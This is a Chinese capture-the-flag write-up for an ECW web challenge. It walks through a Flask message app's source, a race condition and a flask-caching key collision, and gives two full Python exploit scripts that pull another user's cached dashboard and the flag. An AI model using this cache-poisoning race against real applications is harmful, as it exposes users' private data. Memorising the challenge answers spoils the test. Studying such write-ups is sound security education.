
"我只有一份工作! 6:00 在这个类似于 Pastebin 的网站上阅读 Larry 的消息。这是您在 9 点 30 分平静地醒来时对自己说的话。寻找另一种方式与 Larry 取得联系!值得庆幸的是,该应用程序是开源的。你只知道 Larry 使用自己的名字作为用户名,并且喜欢 l33TsP34k、glhf。标志的格式为:ECW{用户名-电话号码-域名_of_his_email}
源码
python
from flask import Flask, render_template, redirect, url_for, flash, request
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager, UserMixin, login_user, logout_user, login_required, current_user
from werkzeug.security import generate_password_hash, check_password_hash
from flask_caching import Cache
import re
import time
import secrets
app = Flask(__name__)
config = {
"DEBUG": False,
"CACHE_TYPE": "SimpleCache",
"CACHE_DEFAULT_TIMEOUT": 10,
"SQLALCHEMY_DATABASE_URI": 'sqlite:///users.db',
"SECRET_KEY": secrets.token_hex(16)
}
app.config.from_mapping(config)
db = SQLAlchemy(app)
login_manager = LoginManager(app)
login_manager.login_view = 'login'
cache = Cache(app)
# User model
class User(db.Model, UserMixin):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(100), unique=True, nullable=False)
password = db.Column(db.String(200), nullable=False)
email = db.Column(db.String(200), nullable=True)
phone = db.Column(db.String(20), nullable=True)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
message_list = []
@app.route("/", methods=['GET', 'POST'])
def index():
#POST logic
if request.method == 'POST':
data = request.get_json()
for item in message_list:
if data.get('title') == item.get('title'):
return 'Title already in use !', 418
message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})
time.sleep(0.5) # Lil delay on the request for better user experience 💅
cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
return "Ok"
#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh
current_time = int(time.time())
for item_dict in message_list:
ttl = item_dict.get('ttl')
creation = item_dict.get('creation')
if current_time >= creation + ttl and ttl >= 0:
#We overwrite it from cache as well
cache.set(item_dict.get('title'), "Removed", 1)
message_list.remove(item_dict)
# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another way
sent_list = []
for item_dict in message_list:
ttl = item_dict.get('ttl')
creation = item_dict.get('creation')
sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})
if current_user.is_authenticated:
return render_template('index.html', username = current_user.username, data=sent_list)
else:
return render_template('index.html', data=sent_list)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
email = request.form['email']
password = request.form['password']
phone = request.form['phone']
if not re.match(r'^[a-zA-Z0-9_-]+$', username):
flash('Username can only contain letters, numbers, underscores, and dashes.')
return redirect(url_for('register'))
if User.query.filter_by(username=username).first():
flash('Username already exists')
return redirect(url_for('register'))
hashed_pw = generate_password_hash(password)
new_user = User(username=username, password=hashed_pw, email=email, phone=phone)
db.session.add(new_user)
db.session.commit()
flash('Registration successful. You can now log in.')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
user = User.query.filter_by(username=request.form['username']).first()
if user and check_password_hash(user.password, request.form['password']):
login_user(user)
return redirect(url_for('dashboard', username=current_user.username))
flash('Invalid credentials')
return render_template('login.html')
def unauthorized():
if current_user.is_authenticated:
return current_user.username != request.path.split("/")[-1]
else:
return True
@app.route('/dashboard/<username>')
#User's page is static, might as well keep it cached forever ¯\_(ツ)_/¯, however, made sure anyone can't just see someone elses profile by path traversal-ing, this would be bad RIGHT ?
@cache.cached(timeout=0, unless=unauthorized)
@login_required
def dashboard(username):
user = User.query.filter_by(username=username).first()
if not user:
flash("Stop trying to access other users dashboards or face consequences !")
return redirect(url_for('errorpage'))
if user.id != current_user.id:
flash("You shouldn't access another user's dashboard. =(")
flash("User " + user.username + " has been alerted.")
return redirect(url_for('errorpage'))
return render_template('dashboard.html', name=current_user.username, email=current_user.email, phone=current_user.phone)
@app.route('/alert')
@login_required
def errorpage():
return render_template('error.html')
@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect("/")
if __name__ == '__main__':
with app.app_context():
cache.clear()
message_list = []
#Rules
message_list.append({"title": "ABOUT", "ttl": -1337, "creation": 1744813509})
cache.set("ABOUT", "Use our tool to anonymously emit any messages to everyone. - - - - - - - - - - - Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. - - - - - - - - Due to the increased number of users using our tool, user pages etc... are still under developement.", 0)
message_list.append({"title": "RULES", "ttl": -1337, "creation": 1744813509})
cache.set("RULES", "Even if there where rules... You probably wouldn't follow them", 0)
db.drop_all()
db.create_all()
#db base entries (example only)
hashed_pw = generate_password_hash('ShouldBeSecure')
new_user = User(username='Fictive_User', password=hashed_pw, email='name@corporation.ctry', phone='+33 6 00 00 00 00')
db.session.add(new_user)
db.session.commit()
app.run(host="0.0.0.0", debug=False)
一个交流网页
信息搜集
一进网站我们看到title们

但是源代码中并没有那些sweet

要我们获取其他用户信息(Larry),Larry一定访问了网页
注册admin显示

但Larry是不存在的:
访问:
http://challenges.challenge-ecw.eu:34867/dashboard/Larry
得到

由
python
if not user:
flash("Stop trying to access other users dashboards or face consequences !")
return redirect(url_for('errorpage'))
if user.id != current_user.id:
flash("You shouldn't access another user's dashboard. =(")
flash("User " + user.username + " has been alerted.")
return redirect(url_for('errorpage'))
我们能知道Larry用户不存在
经了解【AI安全】大模型安全相关问题_大模型dan攻击-CSDN博客
l33tsp34k(也称为leet speak、leet、1337 speak)是一种网络语言,它使用了一些特殊的字符和数字来代替英文字母,以创建一种在网络文化中广泛使用的编码形式。 最初起源于计算机黑客文化,后来在在线游戏和网络聊天室中流行开来。它既可以被用作一种特殊的编码方式,也可以被视为一种社交符号,使用户能够在网络上更好地识别彼此,或者强调自己属于特定的网络社群。虽然在过去几年中,它的使用已经有所减少,但在某些在线社区中,仍然可以见到 l33tsp34k 的存在。
Leet Speak Converter l33tsp34k/README.md at master · ZapDotZip/l33tsp34k
跟据[[flask-caching 装饰器(即 @cache.cached())在不同场景下生成的 Key]]我们想要得到
我们需要获取信息的用户名的/dashboard/<username> 的内容(Larry),那么就需要知道那个缓存键的格式
枚举 Larry的l33tsp34k 变体 以获取用户名(username)
Larry
//经尝试,是L4Rry
L4Rry
那么
flask.cache + 竞争条件实现错误
\[flask_caching研究\]
当你在一个视图函数/路由上这样使用:
python
@app.route("/foo")
@cache.cached(timeout=60)
def foo():
...
其 key 的生成规则(按文档)为:
-
默认
key_prefix='view/%s',其中%s会被替换为request.path。(flask-caching.readthedocs.io) -
如果你没有设置
query_string=True,也没有设置make_cache_key,也没有自定义key_prefix,则 key ≈"view/" + request.path。例如,若访问路径为/foo,则 key 为view//foo(注意前面有一个斜杠,因为request.path通常包括/开头)。(devcenter.heroku.com) -
若
key_prefix是一个带有%s的格式串,例如key_prefix='myprefix/%s',则会变为myprefix/ + request.path。(flask-caching.readthedocs.io)
漏洞分析
存在竞争条件 (Race Condition)可能
根路由下存在两套处理机制:
GET请求:
python
#GET logic could be ran every 1~5s instead of everytime a user gets the homepage but eh
current_time = int(time.time())
for item_dict in message_list:
ttl = item_dict.get('ttl')
creation = item_dict.get('creation')
if current_time >= creation + ttl and ttl >= 0:
#We overwrite it from cache as well
cache.set(item_dict.get('title'), "Removed", 1)
message_list.remove(item_dict)
# We want to control what we send to the client, ideally would optimize using only one list but logic is already built another way
sent_list = []
for item_dict in message_list:
ttl = item_dict.get('ttl')
creation = item_dict.get('creation')
sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})
if current_user.is_authenticated:
return render_template('index.html', username = current_user.username, data=sent_list)
else:
return render_template('index.html', data=sent_list)
能看到,在我们传入的message_list 中获取ttl,对ttl 是否过期进行一个检验
注意到这里的message的内容获取逻辑
python
sent_list.append({"title": item_dict.get('title'), "message": cache.get(item_dict.get('title')), "ttl": item_dict.get('ttl') + item_dict.get('creation')-int(time.time())})
竟然是直接通过缓存键进行获取,而这里传入的缓存键的内容我们是可以控制的
python
cache.get(item_dict.get('title'))
正是message_list 中的 title
那么,我们就要想办法设置那么一个缓存键,跟据 [[flask-caching 装饰器(即 @cache.cached())在不同场景下生成的 Key]]
我们需要的缓存键的格式为
view//dashboard/<获取信息的用户名>
在POST请求处理中:
python
message_list.append({"title": data.get('title'), "ttl": data.get('ttl'), "creation": int(time.time())})
time.sleep(0.5) # 这里产生了竞争条件窗口
cache.set(data.get('title'), data.get('message'), timeout=data.get('ttl'))
攻击时间线:
- t=0: 消息被添加到
message_list - t=0~0.5s: GET请求在这段时间内执行
- t=0.5s: 消息才被设置到缓存中
这个时间差足够我们读取一些原本我们不应该看到的缓存
缓存键名冲突
在Flask-Caching中,缓存键的生成规则是:
- 对于
@cache.cached装饰的视图,缓存键默认包含视图路径 - dashboard视图的缓存键很可能包含路径信息
具体攻击原理
dashboard视图的缓存机制:
python
@app.route('/dashboard/<username>')
@cache.cached(timeout=0, unless=unauthorized) # timeout=0 表示永久缓存
@login_required
def dashboard(username):
# ...
比如当用户访问 /dashboard/admin 时,Flask-Caching会生成一个缓存键,这个键包含路径信息,view//dashboard/admin。
然后按照这个键,我们能得到这个键储存的值。
攻击过程:
- POST请求 :创建一个标题为
"view//dashboard/admin"的消息 - 竞争窗口 :在0.5秒延迟期间,消息已在
message_list但还未写入缓存 - GET请求 :服务器处理GET请求时:
- 遍历
message_list,找到你的消息 - 尝试从缓存读取
cache.get("view//dashboard/admin") - 此时缓存中还没有你的消息内容,但存在dashboard页面的缓存
- 于是返回了dashboard页面的缓存内容而不是你的消息内容
- 遍历
- ! 标题格式很重要
"view//dashboard/admin" 这个格式恰好匹配了:
- Flask-Caching为dashboard视图生成的缓存键模式
- 双斜杠
//也是缓存键命名的一部分
那么我们知道这是一个典型的TOCTOU (Time-of-Check-Time-of-Use) 漏洞:
- Time-of-Check: GET请求检查缓存时,发现键存在(dashboard的缓存)
- Time-of-Use: 返回了该键对应的值(敏感的dashboard内容)
最终脚本
python
import requests
import time
import threading
# 目标URL
url = "http://challenges.challenge-ecw.eu:34931/"
def send_post_request():
"""发送POST请求创建消息"""
payload = {
"title": "view//dashboard/L4Rry",
"message": "x",
"ttl": 0.8
}
try:
response = requests.post(url, json=payload)
print(f"POST响应状态码: {response.status_code}")
print(f"POST响应内容: {response.text}")
return response
except Exception as e:
print(f"POST请求失败: {e}")
return None
def send_get_request(stop_event, results):
"""在指定时间窗口内发送GET请求"""
start_time = time.time()
get_count = 0
# 在0.5秒内持续发送GET请求
while time.time() - start_time < 0.5 and not stop_event.is_set():
try:
response = requests.get(url)
get_count += 1
# 检查响应中是否包含我们想要的信息
if "view//dashboard/L4Rry" in response.text:
print(f"发现目标信息! 在第 {get_count} 次GET请求中")
results['success'] = True
results['content'] = response.text
results['count'] = get_count
stop_event.set() # 停止其他线程
break
except Exception as e:
print(f"GET请求失败: {e}")
if not results['success']:
print(f"在时间窗口内发送了 {get_count} 次GET请求,但未找到目标信息")
def exploit():
"""执行漏洞利用"""
print("开始时间窗口攻击...")
# 用于线程间通信
stop_event = threading.Event()
results = {'success': False, 'content': '', 'count': 0}
# 创建并启动GET线程
get_thread = threading.Thread(target=send_get_request, args=(stop_event, results))
get_thread.start()
# 短暂延迟确保GET线程已经开始
time.sleep(0.05)
# 发送POST请求(这会触发服务器的0.5秒延迟)
post_response = send_post_request()
# 等待GET线程完成
get_thread.join(timeout=1)
# 输出结果
if results['success']:
print("\n" + "=" * 50)
print("攻击成功!")
print(f"在 {results['count']} 次尝试中获取到敏感信息")
print("=" * 50)
# 保存结果到文件
with open("exploit_result.html", "w", encoding="utf-8") as f:
f.write(results['content'])
print("结果已保存到 exploit_result.html")
# 提取并显示关键信息
import re
# 查找包含目标标题的消息
pattern = r'view//dashboard/L4Rry.*?message[^>]*>([^<]+)'
matches = re.findall(pattern, results['content'], re.IGNORECASE | re.DOTALL)
if matches:
print(f"提取到的消息内容: {matches[0]}")
else:
print("\n攻击失败,未能在时间窗口内获取敏感信息")
return results
def alternative_exploit():
"""备选方案:更精确的时间控制"""
print("\n尝试备选攻击方案...")
def timed_get(stop_time, results):
while time.time() < stop_time:
try:
response = requests.get(url)
if "view//dashboard/L4Rry" in response.text:
results['success'] = True
results['content'] = response.text
break
except:
pass
# 计算精确的时间点
start_time = time.time()
post_time = start_time + 0.1 # 100ms后发送POST
stop_get_time = post_time + 0.4 # POST后400ms停止GET
results = {'success': False, 'content': ''}
get_thread = threading.Thread(target=timed_get, args=(stop_get_time, results))
get_thread.start()
# 等待到预定时间发送POST
while time.time() < post_time:
time.sleep(0.001)
send_post_request()
get_thread.join()
if results['success']:
print("备选方案成功!")
with open("exploit_result_alt.html", "w", encoding="utf-8") as f:
f.write(results['content'])
else:
print("备选方案失败")
return results
if __name__ == "__main__":
# 主要攻击方法
result1 = exploit()
if not result1['success']:
# 如果主要方法失败,尝试备选方案
result2 = alternative_exploit()
print("\n攻击完成")
const messages = [
{
message: "Use our tool to anonymously emit any messages to everyone. ------- Messages are only kept in cache for the TTL duration, it is safely deleted and overwritten after that. ------ Due to the increased number of users using our tool, user pages etc... are still under development.",
title: "ABOUT",
ttl: -16371018
},
{
message: "Even if there where rules... You probably wouldn't follow them",
title: "RULES",
ttl: -16371018
},
{
message: `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TACTICOOL BIN - Dashboard</title>
<link rel="stylesheet" type="text/css" href="/static/css/login.css">
<link href="https://fonts.googleapis.com/css2?family=Roboto+Mono&display=swap" rel="stylesheet">
</head>
<body style="flex-direction: column;">
<h2>Welcome, L4Rry!</h2>
<h2>Your email is Congr@tulat.on!</h2>
<h2>Your phone number is 1333333337!</h2>
<a href="/logout">Logout</a>
</body>
</html>`,
title: "view//dashboard/L4Rry",
ttl: -47.200000047683716
}
];
更简短脚本:
但事实上,我们不去登录也能获取
python
import requests
import time
import re
TARGET = "http://challenges.challenge-ecw.eu:34931"
# 1. 注册并登录攻击者
s = requests.Session()
user = f"a{int(time.time())}"
s.post(f"{TARGET}/register", data={'username': user, 'password': 'p', 'email': 'a@a.com', 'phone': '1'})
s.post(f"{TARGET}/login", data={'username': user, 'password': 'p'})
# 2. 发送缓存污染消息
s.post(f"{TARGET}/",
json={"title": "view//dashboard/L4Rry", "message": "x", "ttl": -1337},
headers={'Content-Type': 'application/json'})
# 3. 竞争条件:快速刷新获取数据
for i in range(15):
r = s.get(f"{TARGET}/")
if "Your email is" in r.text:
# # 4. 提取敏感信息
print(r.text)
break
time.sleep(0.03)
得到
ECW{L4Rry-1333333337-tulat}